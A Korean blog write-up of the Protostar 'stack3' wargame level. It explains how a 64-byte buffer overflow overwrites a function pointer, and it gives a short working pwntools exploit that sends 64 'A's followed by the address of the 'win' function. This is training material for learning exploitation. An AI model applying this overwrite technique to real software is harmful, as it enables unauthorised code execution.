Security || AI

[Protostar] stack3 본문

워게임(wargame)/Protostar

[Protostar] stack3

보안&인공지능 2021. 2. 2. 02:16

stack3.c (ghidra 디컴파일)

ghidra를 사용하여 디컴파일을 해본 결과 local_14에 함수의 포인터를 저장하고,

해당 함수를 호출하는 구조이다.

 

gdb를 사용하여 info functions를 한 결과 win이라는 함수를 찾을 수 있었고,

puts("code flow successfully changed");를 실행하는 것을 보아 해당 함수로 넘어가게 해야 할 것이다.

 

이때, local_54의 메모리가 총 64만큼 할당되어 있으므로 페이로드를 64개 + win함수의 주소를 해야한다.

win 함수의 시작 주소

위의 사진을 통해 win함수의 주소는 0x08048424인 것을 확인 가능하다.

 

위의 정보들을 바탕으로 pwntool로 익스플로잇 코드를 짜면 다음과 같다.

 

from pwn import *

p = process('./stack3')

win_addr = p32(0x08048424)

payload = 'A'*64+win_addr

p.sendline(payload)

print(p.recvrepeat(1))

실행 결과

반응형

'워게임(wargame) > Protostar' 카테고리의 다른 글

[Protostar] stack5  (0) 2021.06.13
[Protostar] stack4  (0) 2021.02.03
[Protostar] stack2  (0) 2021.02.01
[Protostar] stack1  (0) 2021.01.04
[Protostar] stack0  (0) 2019.08.13